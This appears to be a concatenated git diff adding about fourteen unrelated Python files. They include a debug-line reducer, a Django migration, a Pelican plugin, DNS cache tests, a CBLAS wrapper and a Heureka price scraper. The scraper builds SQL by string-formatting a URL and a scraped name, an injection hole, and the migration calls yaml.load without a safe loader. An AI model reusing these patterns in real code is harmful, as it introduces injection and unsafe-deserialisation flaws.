a/pool/shard008/Python/0077223_reduce_debugline.py b/pool/shard008/Python/0077223_reduce_debugline.py new file mode 100644 index 0000000000000000000000000000000000000000..6e67294808175ce625102f9b7bbeee8caf367b2f --- /dev/null +++ b/pool/shard008/Python/0077223_reduce_debugline.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# Copyright (c) 2013 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. +"""Reduces result of 'readelf -wL' to just a list of starting addresses. + +It lists up all addresses where the corresponding source files change. The +list is sorted in ascending order. See tests/reduce_debugline_test.py for +examples. + +This script assumes that the result of 'readelf -wL' ends with an empty line. + +Note: the option '-wL' has the same meaning with '--debug-dump=decodedline'. +""" + +from __future__ import print_function + +import re +import sys + + +_FILENAME_PATTERN = re.compile('(CU: |)(.+)\:') + + +def reduce_decoded_debugline(input_file): + filename = '' + starting_dict = {} + started = False + + for line in input_file: + line = line.strip() + unpacked = line.split(None, 2) + + if len(unpacked) == 3 and unpacked[2].startswith('0x'): + if not started and filename: + started = True + starting_dict[int(unpacked[2], 16)] = filename + else: + started = False + if line.endswith(':'): + matched = _FILENAME_PATTERN.match(line) + if matched: + filename = matched.group(2) + + starting_list = [] + prev_filename = '' + for address in sorted(starting_dict): + curr_filename = starting_dict[address] + if prev_filename != curr_filename: + starting_list.append((address, starting_dict[address])) + prev_filename = curr_filename + return starting_list + + +def main(): + if len(sys.argv) != 1: + print('Unsupported arguments', file=sys.stderr) + return 1 + + starting_list = reduce_decoded_debugline(sys.stdin) + bits64 = starting_list[-1][0] > 0xffffffff + for address, filename in starting_list: + if bits64: + print('%016x %s' % (address, filename)) + else: + print('%08x %s' % (address, filename)) + + +if __name__ == '__main__': + sys.exit(main()) diff --git a/pool/shard008/Python/0077225_0043_provider_provider_type.py b/pool/shard008/Python/0077225_0043_provider_provider_type.py new file mode 100644 index 0000000000000000000000000000000000000000..982f00f4c5ebc81e66cfce7fab6919e9d0ffd0df --- /dev/null +++ b/pool/shard008/Python/0077225_0043_provider_provider_type.py @@ -0,0 +1,36 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9.13 on 2018-02-20 12:09 +from __future__ import unicode_literals + +import yaml +from django.db import migrations, models + + +def add_type_to_provider(apps, schema_editor): + from cfme.utils.conf import cfme_data + Provider = apps.get_model("appliances", "Provider") # noqa + for provider in Provider.objects.using(schema_editor.connection.alias).all(): + # Need to replicate the functionality from the model here + provider_data = yaml.load(provider.object_meta_data).get('provider_data') + if not provider_data: + provider_data = cfme_data.get("management_systems", {}).get(provider.id, {}) + provider_type = provider_data.get('type', None) + if provider_type is not None: + provider.provider_type = provider_type + provider.save(update_fields=['provider_type']) + + +class Migration(migrations.Migration): + + dependencies = [ + ('appliances', '0042_openshift_appliances_support'), + ] + + operations = [ + migrations.AddField( + model_name='provider', + name='provider_type', + field=models.CharField(blank=True, max_length=16, null=True), + ), + migrations.RunPython(add_type_to_provider), + ] diff --git a/pool/shard008/Python/0077227_jinja2content.py b/pool/shard008/Python/0077227_jinja2content.py new file mode 100644 index 0000000000000000000000000000000000000000..d7b7bf970d28859ae0ea4b39995f16044643615d --- /dev/null +++ b/pool/shard008/Python/0077227_jinja2content.py @@ -0,0 +1,68 @@ +""" +jinja2content.py +---------------- + +Pelican plugin that processes Markdown files as jinja templates. + +""" + +from os import path +from pelican import signals +from pelican.readers import Markdown, MarkdownReader +from pelican.utils import pelican_open +from jinja2 import Environment, FileSystemLoader, ChoiceLoader + + +class JinjaMarkdownReader(MarkdownReader): + + def __init__(self, *args, **kwargs): + super(JinjaMarkdownReader, self).__init__(*args, **kwargs) + + # will look first in 'JINJA2CONTENT_TEMPLATES', by default the + # content root path, then in the theme's templates + # local_templates_dirs = self.settings.get('JINJA2CONTENT_TEMPLATES', ['.']) + # local_templates_dirs = path.join(self.settings['PATH'], local_templates_dirs) + local_dirs = self.settings.get('JINJA2CONTENT_TEMPLATES', ['.']) + local_dirs = [path.join(self.settings['PATH'], folder) + for folder in local_dirs] + theme_dir = path.join(self.settings['THEME'], 'templates') + + loaders = [FileSystemLoader(_dir) for _dir + in local_dirs + [theme_dir]] + if 'JINJA_ENVIRONMENT' in self.settings: # pelican 3.7 + jinja_environment = self.settings['JINJA_ENVIRONMENT'] + else: + jinja_environment = { + 'trim_blocks': True, + 'lstrip_blocks': True, + 'extensions': self.settings['JINJA_EXTENSIONS'] + } + self.env = Environment( + loader=ChoiceLoader(loaders), + **jinja_environment) + + def read(self, source_path): + """Parse content and metadata of markdown files. + + Rendering them as jinja templates first. + + """ + + self._source_path = source_path + self._md = Markdown(extensions=self.settings['MARKDOWN']['extensions']) + + with pelican_open(source_path) as text: + text = self.env.from_string(text).render() + content = self._md.convert(text) + + metadata = self._parse_metadata(self._md.Meta) + return content, metadata + + +def add_reader(readers): + for ext in MarkdownReader.file_extensions: + readers.reader_classes[ext] = JinjaMarkdownReader + + +def register(): + signals.readers_init.connect(add_reader) diff --git a/pool/shard008/Python/0077231_getinfo.py b/pool/shard008/Python/0077231_getinfo.py new file mode 100644 index 0000000000000000000000000000000000000000..8652ec3f4e3195915e389a09548ae87b4480f058 --- /dev/null +++ b/pool/shard008/Python/0077231_getinfo.py @@ -0,0 +1,49 @@ +from rauth.service import OAuth1Service, OAuth1Session +from xml.dom.minidom import parseString +import configparser + +class LocalLib_GRAPI(): + def get_user_info(self): + ACCESS_TOKEN = self.session.access_token + ACCESS_TOKEN_SECRET = self.session.access_token_secret + username_xml = self.session.get('https://www.goodreads.com/api/auth_user') + dom = parseString(username_xml.content) + username = dom.getElementsByTagName('name')[0].childNodes[0].data + userid = dom.getElementsByTagName('user')[0].getAttribute('id') + return dom, username, userid, ACCESS_TOKEN, ACCESS_TOKEN_SECRET + + def __init__(self): + config = configparser.ConfigParser() + config.read("goodreads.cfg") + CONSUMER_KEY = config.get("Goodreads", "CONSUMER_KEY") + CONSUMER_SECRET = config.get("Goodreads", "CONSUMER_SECRET") + + self.gr = OAuth1Service( + consumer_key=CONSUMER_KEY, + consumer_secret=CONSUMER_SECRET, + name='goodreads', + request_token_url='http://www.goodreads.com/oauth/request_token', + authorize_url='http://www.goodreads.com/oauth/authorize', + access_token_url='http://www.goodreads.com/oauth/access_token', + base_url='http://www.goodreads.com/' + ) + self.req_token, self.req_token_secret = self.gr.get_request_token(header_auth=True) + authorization_url = self.gr.get_authorize_url(self.req_token) + print('Visit this URL in your browser: ' + authorization_url) + accepted = 'n' + while accepted.lower() == 'n': + accepted = input('Have you authorized me? (y/n) ') + self.session = self.gr.get_auth_session(self.req_token, self.req_token_secret) + + +#new_session = OAuth1Session( +# consumer_key = CONSUMER_KEY, +# consumer_secret = CONSUMER_SECRET, +# access_token = ACCESS_TOKEN, +# access_token_secret = ACCESS_TOKEN_SECRET, +#) + +GRAPI = LocalLib_GRAPI() +#GRAPI.authorizer() +dom, username, userid, access_token, access_token_secret = GRAPI.get_user_info() +print('ID: %s and name: %s' % (userid, username)) diff --git a/pool/shard008/Python/0077236_spy_timeline.py b/pool/shard008/Python/0077236_spy_timeline.py new file mode 100644 index 0000000000000000000000000000000000000000..5773a2b451b0997e128f36413933e3de527baf03 --- /dev/null +++ b/pool/shard008/Python/0077236_spy_timeline.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +# Copyright 2017 Stanford University +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from pyx import * + +DEFAULT_LINE_HEIGHT = 200 +DEFAULT_LINE_SPACE = 200 + +class TimeLine(object): + def __init__(self, name, start, end): + self.name = name + assert start <= end + self.global_start = start + self.global_end = end + self.lines = list() + self.canvas = canvas.canvas() + self.line_height = DEFAULT_LINE_HEIGHT + self.line_space = DEFAULT_LINE_SPACE + + def add_line(self, name): + idx = len(self.lines) + self.lines.append(Line(name)) + return idx + + def add_instance(self, line, name, start, end, color): + assert line < len(self.lines) + assert start >= self.global_start + assert end <= self.global_end + self.lines[line].add_instance(name, start, end, color) + + def add_axis(self, splits): + pass + + def write_pdf(self, xpixels): + xscale = (self.global_end - self.global_start)/xpixels + line_offset = 0 + line_size = self.line_height = self.line_space + for line in self.lines: + line.draw(self.canvas, self.global_start, xscale, line_offset, line_size) + line_offset = line_offset + line_size + self.canvas.writePDFfile(self.name) + +class Line(object): + def __init__(self, name): + self.name = name + self.instances = list() + + def add_instance(self, name, start, end, color): + self.instances.append(LineInstance(name, start, end, color)) + + def draw(self, canvas, xstart, xscale, ystart, ysize): + for inst in self.instances: + inst.draw(canvas, xstart, xscale, ystart, ysize) + +class LineInstance(object): + def __init__(self, name, start, end, color): + self.name = name + self.start = start + self.end = end + self.color = color + + def draw(self, canvas, xstart, xscale, ystart, ysize): + canvas.fill(path.rect((self.start - xstart)/xscale, ystart, (self.end-self.start)/xscale, ysize)) + + + diff --git a/pool/shard008/Python/0077237_cblas.py b/pool/shard008/Python/0077237_cblas.py new file mode 100644 index 0000000000000000000000000000000000000000..70b4d684eec36c66e7f02f9d0d84247c4da988b4 --- /dev/null +++ b/pool/shard008/Python/0077237_cblas.py @@ -0,0 +1,110 @@ +# -*- coding: utf-8 -*- + +from ctypes import CDLL, cast, c_int, c_double, c_float, c_void_p + +import numpy as np + +from pyfr.backends.base import ComputeKernel +from pyfr.backends.openmp.provider import OpenMPKernelProvider + + +# Matrix orderings +class CBlasOrder(object): + ROW_MAJOR = 101 + COL_MAJOR = 102 + + +class CBlasTranspose(object): + NO_TRANS = 111 + TRANS = 112 + CONJ_TRANS = 113 + + +class CBlasWrappers(object): + def __init__(self, libname): + try: + lib = CDLL(libname) + except OSError: + raise RuntimeError('Unable to load cblas') + + # cblas_dgemm + self.cblas_dgemm = lib.cblas_dgemm + self.cblas_dgemm.restype = None + self.cblas_dgemm.argtypes = [ + c_int, c_int, c_int, c_int, c_int, c_int, + c_double, c_void_p, c_int, c_void_p, c_int, + c_double, c_void_p, c_int + ] + + # cblas_sgemm + self.cblas_sgemm = lib.cblas_sgemm + self.cblas_sgemm.restype = None + self.cblas_sgemm.argtypes = [ + c_int, c_int, c_int, c_int, c_int, c_int, + c_float, c_void_p, c_int, c_void_p, c_int, + c_float, c_void_p, c_int + ] + + +class OpenMPCBLASKernels(OpenMPKernelProvider): + def __init__(self, backend): + super().__init__(backend) + + libname = backend.cfg.getpath('backend-openmp', 'cblas') + libtype = backend.cfg.get('backend-openmp', 'cblas-type', 'parallel') + + if libtype not in {'serial', 'parallel'}: + raise ValueError('cblas type must be serial or parallel') + + # Load and wrap cblas + self._wrappers = CBlasWrappers(libname) + self._cblas_type = libtype + + def mul(self, a, b, out, alpha=1.0, beta=0.0): + # Ensure the matrices are compatible + if a.nrow != out.nrow or a.ncol != b.nrow or b.ncol != out.ncol: + raise ValueError('Incompatible matrices for out = a*b') + + m, n, k = a.nrow, b.ncol, a.ncol + + if a.dtype == np.float64: + cblas_gemm = self._wrappers.cblas_dgemm + else: + cblas_gemm = self._wrappers.cblas_sgemm + + # If our BLAS library is single threaded then invoke our own + # parallelization kernel which uses OpenMP to partition the + # operation along b.ncol (which works extremely well for the + # extremely long matrices encountered by PyFR). Otherwise, we + # let the BLAS library handle parallelization itself (which + # may, or may not, use OpenMP). + if self._cblas_type == 'serial': + # Render the kernel template + src = self.backend.lookup.get_template('par-gemm').render() + + # Argument types for par_gemm + argt = [ + np.intp, np.int32, np.int32, np.int32, + a.dtype, np.intp, np.int32, np.intp, np.int32, + a.dtype, np.intp, np.int32 + ] + + # Build + par_gemm = self._build_kernel('par_gemm', src, argt) + + # Pointer to the BLAS library GEMM function + cblas_gemm_ptr = cast(cblas_gemm, c_void_p).value + + class MulKernel(ComputeKernel): + def run(self, queue): + par_gemm(cblas_gemm_ptr, m, n, k, alpha, a, a.leaddim, + b, b.leaddim, beta, out, out.leaddim) + else: + class MulKernel(ComputeKernel): + def run(self, queue): + cblas_gemm(CBlasOrder.ROW_MAJOR, CBlasTranspose.NO_TRANS, + CBlasTranspose.NO_TRANS, m, n, k, + alpha, a, a.leaddim, b, b.leaddim, + beta, out, out.leaddim) + + return MulKernel() diff --git a/pool/shard008/Python/0077240_mkcart.py b/pool/shard008/Python/0077240_mkcart.py new file mode 100644 index 0000000000000000000000000000000000000000..14723f4c15d54a8eb67cf901a0a71241208294f5 --- /dev/null +++ b/pool/shard008/Python/0077240_mkcart.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +import sys +import os.path +import zipfile + + +fns = sys.argv[1:] +if not fns: + print "mkcart.py -- MESS .rpk creator for 8K images" + print "usage: %s ..." % sys.argv[0] + sys.exit(0) + + +for fn in fns: + try: + with open(fn, "rb") as fin: + data = fin.read() + except IOError as e: + print "Error: %s, skipping" % e + continue + + layout=""" + + + + + + + + + + +""" % fn + + basename = os.path.basename(fn) + name, ext = os.path.splitext(basename) + + try: + with zipfile.ZipFile(name + ".rpk", "w") as archive: + archive.writestr(fn, data[:8192]) + archive.writestr("layout.xml", layout) + except IOError as e: + print "Error: %s, skipping" % e diff --git a/pool/shard008/Python/0077244_effective_route_list_result.py b/pool/shard008/Python/0077244_effective_route_list_result.py new file mode 100644 index 0000000000000000000000000000000000000000..a72bc965a5ff58fd603cd778db7cae78026844c3 --- /dev/null +++ b/pool/shard008/Python/0077244_effective_route_list_result.py @@ -0,0 +1,32 @@ +# coding=utf-8 +# -------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for +# license information. +# +# Code generated by Microsoft (R) AutoRest Code Generator. +# Changes may cause incorrect behavior and will be lost if the code is +# regenerated. +# -------------------------------------------------------------------------- + +from msrest.serialization import Model + + +class EffectiveRouteListResult(Model): + """Response for list effective route API service call. + + :param value: A list of effective routes. + :type value: list[~azure.mgmt.network.v2016_12_01.models.EffectiveRoute] + :param next_link: The URL to get the next set of results. + :type next_link: str + """ + + _attribute_map = { + 'value': {'key': 'value', 'type': '[EffectiveRoute]'}, + 'next_link': {'key': 'nextLink', 'type': 'str'}, + } + + def __init__(self, **kwargs): + super(EffectiveRouteListResult, self).__init__(**kwargs) + self.value = kwargs.get('value', None) + self.next_link = kwargs.get('next_link', None) diff --git a/pool/shard008/Python/0077245_plot_huber_vs_ridge.py b/pool/shard008/Python/0077245_plot_huber_vs_ridge.py new file mode 100644 index 0000000000000000000000000000000000000000..2ea5a190e35d8f64875754004cf5e33c61a7ff32 --- /dev/null +++ b/pool/shard008/Python/0077245_plot_huber_vs_ridge.py @@ -0,0 +1,64 @@ +""" +======================================================= +HuberRegressor vs Ridge on dataset with strong outliers +======================================================= + +Fit Ridge and HuberRegressor on a dataset with outliers. + +The example shows that the predictions in ridge are strongly influenced +by the outliers present in the dataset. The Huber regressor is less +influenced by the outliers since the model uses the linear loss for these. +As the parameter epsilon is increased for the Huber regressor, the decision +function approaches that of the ridge. + +""" + +# Authors: Manoj Kumar mks542@nyu.edu +# License: BSD 3 clause + +import numpy as np +import matplotlib.pyplot as plt + +from sklearn.datasets import make_regression +from sklearn.linear_model import HuberRegressor, Ridge + +# Generate toy data. +rng = np.random.RandomState(0) +X, y = make_regression( + n_samples=20, n_features=1, random_state=0, noise=4.0, bias=100.0 +) + +# Add four strong outliers to the dataset. +X_outliers = rng.normal(0, 0.5, size=(4, 1)) +y_outliers = rng.normal(0, 2.0, size=4) +X_outliers[:2, :] += X.max() + X.mean() / 4.0 +X_outliers[2:, :] += X.min() - X.mean() / 4.0 +y_outliers[:2] += y.min() - y.mean() / 4.0 +y_outliers[2:] += y.max() + y.mean() / 4.0 +X = np.vstack((X, X_outliers)) +y = np.concatenate((y, y_outliers)) +plt.plot(X, y, "b.") + +# Fit the huber regressor over a series of epsilon values. +colors = ["r-", "b-", "y-", "m-"] + +x = np.linspace(X.min(), X.max(), 7) +epsilon_values = [1, 1.5, 1.75, 1.9] +for k, epsilon in enumerate(epsilon_values): + huber = HuberRegressor(alpha=0.0, epsilon=epsilon) + huber.fit(X, y) + coef_ = huber.coef_ * x + huber.intercept_ + plt.plot(x, coef_, colors[k], label="huber loss, %s" % epsilon) + +# Fit a ridge regressor to compare it to huber regressor. +ridge = Ridge(alpha=0.0, random_state=0) +ridge.fit(X, y) +coef_ridge = ridge.coef_ +coef_ = ridge.coef_ * x + ridge.intercept_ +plt.plot(x, coef_, "g-", label="ridge regression") + +plt.title("Comparison of HuberRegressor vs Ridge") +plt.xlabel("X") +plt.ylabel("y") +plt.legend(loc=0) +plt.show() diff --git a/pool/shard008/Python/0077247_test_cache.py b/pool/shard008/Python/0077247_test_cache.py new file mode 100644 index 0000000000000000000000000000000000000000..0dfdcaf1e4a8297273bda4fe967b5104a74cdf84 --- /dev/null +++ b/pool/shard008/Python/0077247_test_cache.py @@ -0,0 +1,144 @@ +# Copyright (c) Twisted Matrix Laboratories. +# See LICENSE for details. + +""" +Tests for L{twisted.names.cache}. +""" + +from __future__ import division, absolute_import + +import time + +from zope.interface.verify import verifyClass + +from twisted.trial import unittest + +from twisted.names import dns, cache +from twisted.internet import task, interfaces + + +class Caching(unittest.TestCase): + """ + Tests for L{cache.CacheResolver}. + """ + + def test_interface(self): + """ + L{cache.CacheResolver} implements L{interfaces.IResolver} + """ + verifyClass(interfaces.IResolver, cache.CacheResolver) + + + def test_lookup(self): + c = cache.CacheResolver({ + dns.Query(name=b'example.com', type=dns.MX, cls=dns.IN): + (time.time(), ([], [], []))}) + return c.lookupMailExchange(b'example.com').addCallback( + self.assertEqual, ([], [], [])) + + + def test_constructorExpires(self): + """ + Cache entries passed into L{cache.CacheResolver.__init__} get + cancelled just like entries added with cacheResult + """ + r = ([dns.RRHeader(b"example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + query = dns.Query(name=b"example.com", type=dns.A, cls=dns.IN) + + c = cache.CacheResolver({ query : (clock.seconds(), r)}, reactor=clock) + + # 40 seconds is enough to expire the entry because expiration is based + # on the minimum TTL. + clock.advance(40) + + self.assertNotIn(query, c.cache) + + return self.assertFailure( + c.lookupAddress(b"example.com"), dns.DomainError) + + + def test_normalLookup(self): + """ + When a cache lookup finds a cached entry from 1 second ago, it is + returned with a TTL of original TTL minus the elapsed 1 second. + """ + r = ([dns.RRHeader(b"example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + + c = cache.CacheResolver(reactor=clock) + c.cacheResult(dns.Query(name=b"example.com", type=dns.A, cls=dns.IN), r) + + clock.advance(1) + + def cbLookup(result): + self.assertEqual(result[0][0].ttl, 59) + self.assertEqual(result[1][0].ttl, 49) + self.assertEqual(result[2][0].ttl, 39) + self.assertEqual(result[0][0].name.name, b"example.com") + + return c.lookupAddress(b"example.com").addCallback(cbLookup) + + + def test_cachedResultExpires(self): + """ + Once the TTL has been exceeded, the result is removed from the cache. + """ + r = ([dns.RRHeader(b"example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + + c = cache.CacheResolver(reactor=clock) + query = dns.Query(name=b"example.com", type=dns.A, cls=dns.IN) + c.cacheResult(query, r) + + clock.advance(40) + + self.assertNotIn(query, c.cache) + + return self.assertFailure( + c.lookupAddress(b"example.com"), dns.DomainError) + + + def test_expiredTTLLookup(self): + """ + When the cache is queried exactly as the cached entry should expire but + before it has actually been cleared, the cache does not return the + expired entry. + """ + r = ([dns.RRHeader(b"example.com", dns.A, dns.IN, 60, + dns.Record_A("127.0.0.1", 60))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 50, + dns.Record_A("127.0.0.1", 50))], + [dns.RRHeader(b"example.com", dns.A, dns.IN, 40, + dns.Record_A("127.0.0.1", 40))]) + + clock = task.Clock() + # Make sure timeouts never happen, so entries won't get cleared: + clock.callLater = lambda *args, **kwargs: None + + c = cache.CacheResolver({ + dns.Query(name=b"example.com", type=dns.A, cls=dns.IN) : + (clock.seconds(), r)}, reactor=clock) + + clock.advance(60.1) + + return self.assertFailure( + c.lookupAddress(b"example.com"), dns.DomainError) diff --git a/pool/shard008/Python/0077255_profile_property_path.py b/pool/shard008/Python/0077255_profile_property_path.py new file mode 100644 index 0000000000000000000000000000000000000000..c245b6fee2fb166e5fe0829574da4147406236ab --- /dev/null +++ b/pool/shard008/Python/0077255_profile_property_path.py @@ -0,0 +1,35 @@ + +import logging +from pyvisdk.exceptions import InvalidArgumentError + +######################################## +# Automatically generated, do not edit. +######################################## + +log = logging.getLogger(__name__) + +def ProfilePropertyPath(vim, *args, **kwargs): + '''The ProfilePropertyPath data object represents the path to either a profile or + a policy option. If both and are specified, the combination of the two + identifies a specific profile policy option.''' + + obj = vim.client.factory.create('ns0:ProfilePropertyPath') + + # do some validation checking... + if (len(args) + len(kwargs)) < 1: + raise IndexError('Expected at least 2 arguments got: %d' % len(args)) + + required = [ 'profilePath' ] + optional = [ 'policyId', 'dynamicProperty', 'dynamicType' ] + + for name, arg in zip(required+optional, args): + setattr(obj, name, arg) + + for name, value in kwargs.items(): + if name in required + optional: + setattr(obj, name, value) + else: + raise InvalidArgumentError("Invalid argument: %s. Expected one of %s" % (name, ", ".join(required + optional))) + + return obj + \ No newline at end of file diff --git a/pool/shard008/Python/0077258_core.py b/pool/shard008/Python/0077258_core.py new file mode 100644 index 0000000000000000000000000000000000000000..ec62db20f001068b58c3197871f6bf34427c81c4 --- /dev/null +++ b/pool/shard008/Python/0077258_core.py @@ -0,0 +1,171 @@ +#!/usr/bin/python +# coding: utf-8 + +try: + from bs4 import BeautifulSoup + import ConfigParser as cp + import requests, re, sys + import MySQLdb as sql +except Val: + print "Error importing modules, exiting." + exit() + + +# Import database credentials from secured config file +config = cp.RawConfigParser() +config.read('/var/www-secret/config.ini') +db_user = config.get('database','username') +db_pass = config.get('database','password') +db_name = config.get('database','database') + + +# Open database connection +db = sql.connect("localhost",db_user,db_pass,db_name) +# prepare db cursor +cursor = db.cursor() + +def db_getproducts(): + # List of product URLs to scan prices for. Supports Heureka.cz only. + # gets list of products, each item is (id,url) + cursor.execute("SELECT id,code,name FROM products") + products = cursor.fetchall() + return products + +def db_getshops(): + # This version of beta uses the shop_link table, allowing each product to use different shops + BETA_args = """ + SELECT shops.code + FROM shops + LEFT JOIN shop_link + ON shops.id = shop_link.shop_id + WHERE shop_link.product_id = ??? + """ + # For now, lets use all shops for all products. + args = """ + SELECT id,code + FROM shops + """ + cursor.execute(args) + shops = cursor.fetchall() + print "Shops from DB: ", shops + return shops + +# Scraping function scans 'urls' list and collects prices for items in 'shops' list. +# Returns list in format [product:[] +def db_getprices(products): + + results = [] # Setup empty list where dictionaries of products will be stored + results_sql = [] + db_shops = db_getshops() + + # Product/URL loop + for product in products: + + shops = list(db_shops) + # Get list of shops + # shops = db_getshops() + + # Get html data from products page + url = product[1] + "?expand=1#!o=4" + html = requests.get(url).text + soup = BeautifulSoup(html, 'html.parser') + + # Get fancy product name + item_name = soup.h1.string + + # Find button with price and shop name code + items = soup.select("a.pricen") + + # RESULTS = [{productA:[{shopA1:priceA1},{shop2:price2}]},{productB:[{shopB1:priceB1},{shopB2:priceB2}]}] + prices = {} + result = { item_name : prices } + + # Go through each buy button, check if link is in shop list, convert price to int, append to results. + for item in items: + for shop in shops: + if shop[1] in item.get('href'): + shops.pop(shops.index(shop)) + price = re.sub("[^0-9]","",item.text) + # product ID, shop ID, date, price + result = (product[0],shop[0],price) + results_sql.append(result) + return results_sql + +def db_insertprices(data): + + # Prepare general statement for insertin data from array + stmt = """ + INSERT INTO prices(product_id, shop_id, date, price) + VALUES (%s,%s,CURDATE(),%s) + """ + # Try to insert data into DB + try: + print data + cursor.executemany(stmt, data) + db.commit() + print "New prices successfuly inserted into database" + except: + db.rollback() + +def db_addproduct(url): + # Add a new product to the list by passing its Heureka URL. + + # Get html data from url and parse it + html = requests.get(url).text + soup = BeautifulSoup(html, 'html.parser') + + # Get fancy product name + item_name = soup.h1.string + + # Get current products to check if already exists + product = [product[2] for product in db_getproducts()] + + if item_name in product: + print "This product is already in the list" + return + + # If it isnt, lets continue + sql = """ + INSERT INTO products(code,name) + VALUES ("%s", "%s") + """ % (url, item_name) + + # Try to execute and commit + try: + cursor.execute(sql) + db.commit() + except: # Rollback if shit hits the fan + db.rollback() + print "%s has been added." % item_name + return + +def cron(): + # Get prices for products for all shops + data = db_getprices(db_getproducts()) + # Insert prices into DB + db_insertprices(data) + +def add_product(): + db_addproduct(sys.argv[2]) + +def help(): + print """ + core.py [option] [arg] + + [option]: + add_product - Add new product, requires [arg] with URL of Heureka page + cron - Cron task to get prices and insert them into DB + dev - Runs a test scrape, prints prices to terminal only. + """ + +def dev(): + data = db_getproducts() + print data + data2 = db_getprices(data) + print data2 + +if __name__ == '__main__': + globals()[sys.argv[1]]() + +#new_product = str(raw_input("Heureka URL:")) +#db_addproduct(new_product) diff --git a/pool/shard008/Python/0077259_check-includes.py b/pool/shard008/Python/0077259_check-includes.py new file mode 100644 index 0000000000000000000000000000000000000000..0c2aee3832aaa1b442cc4d690810d8c4740e9d10 --- /dev/null +++ b/pool/shard008/Python/0077259_check-includes.py @@ -0,0 +1,98 @@ +#! /usr/bin/env python + +""" +check-includes.py + +Checks if the includes are sorted properly and following the "system headers +before local headers" rule. + +Ignores what is in #if blocks to avoid false negatives. +""" + +import re +import sys + +def exclude_if_blocks(lines): + '''Removes lines from #if ... #endif blocks.''' + level = 0 + for l in lines: + if l.startswith('#if'): + level += 1 + elif l.startswith('#endif'): + level -= 1 + elif level == 0: + yield l + +def filter_includes(lines): + '''Removes lines that are not #include and keeps only the file part.''' + for l in lines: + if l.startswith('#include'): + if 'NOLINT' not in l: + yield l.split(' ')[1] + +class IncludeFileSorter(object): + def __init__(self, path): + self.path = path + + def __lt__(self, other): + '''Sorting function for include files. + + * System headers go before local headers (check the first character - + if it's different, then the one starting with " is the 'larger'). + * Then, iterate on all the path components: + * If they are equal, try to continue to the next path component. + * If not, return whether the path component are smaller/larger. + * Paths with less components should go first, so after iterating, check + whether one path still has some / in it. + ''' + a, b = self.path, other.path + if a[0] != b[0]: + return False if a[0] == '"' else True + a, b = a[1:-1].lower(), b[1:-1].lower() + while '/' in a and '/' in b: + ca, a = a.split('/', 1) + cb, b = b.split('/', 1) + if ca != cb: + return ca < cb + if '/' in a: + return False + elif '/' in b: + return True + else: + return a < b + + def __eq__(self, other): + return self.path.lower() == other.path.lower() + +def sort_includes(includes): + return sorted(includes, key=IncludeFileSorter) + +def show_differences(bad, good): + bad = [' Current'] + bad + good = [' Should be'] + good + longest = max(len(i) for i in bad) + padded = [i + ' ' * (longest + 4 - len(i)) for i in bad] + return '\n'.join('%s%s' % t for t in zip(padded, good)) + +def check_file(path): + print('Checking %s' % path) + try: + try: + data = open(path, encoding='utf-8').read() + except TypeError: # py2 + data = open(path).read().decode('utf-8') + except UnicodeDecodeError: + sys.stderr.write('%s: bad UTF-8 data\n' % path) + return + + lines = (l.strip() for l in data.split('\n')) + lines = exclude_if_blocks(lines) + includes = list(filter_includes(lines)) + sorted_includes = sort_includes(includes) + if includes != sorted_includes: + sys.stderr.write('%s: includes are incorrect\n' % path) + sys.stderr.write(show_differences(includes, sorted_includes) + '\n') + +if __name__ == '__main__': + for path in sys.argv[1:]: + check_file(path) diff --git a/pool/shard008/Python/0077261_dialog.py b/pool/shard008/Python/0077261_dialog.py new file mode 100644 index 0000000000000000000000000000000000000000..a38a7d62ce108c778411f95812518bc95c5fdb00 --- /dev/null +++ b/pool/shard008/Python/0077261_dialog.py @@ -0,0 +1,61 @@ +# Copyright 2013 Regionbibliotek Halland +# +# This file is part of Digitala sagor. +# +# Digitala sagor is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Digitala sagor is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Digitala sagor. If not, see . +from Tkinter import Toplevel + +def getDlg(root, title): + """Create a dialog + + Arguments + root -- dialog parent + title -- dialog title + + """ + dlg = Toplevel(root) + dlg.title(title) + dlg.root = root + + dlg.grab_set() + dlg.transient(root) + dlg.resizable(False, False) + return dlg + +def showDlg(dlg): + """Show a dialog created with getDlg + + Arguments + dlg -- the dialog to show + + """ + #Set location + root = dlg.root + root.update_idletasks() + dlg.update_idletasks() + w = dlg.winfo_width() + h = dlg.winfo_height() + pw = root.winfo_width() + ph = root.winfo_height() + + insx = (pw - w) / 2 + insx += root.winfo_rootx() + insx = max(insx, 0) + insy = (ph - h) / 2 + insy += root.winfo_rooty() + insy = max(insy, 0) + geom = "+{}+{}".format(insx, insy) + dlg.geometry(geom) + 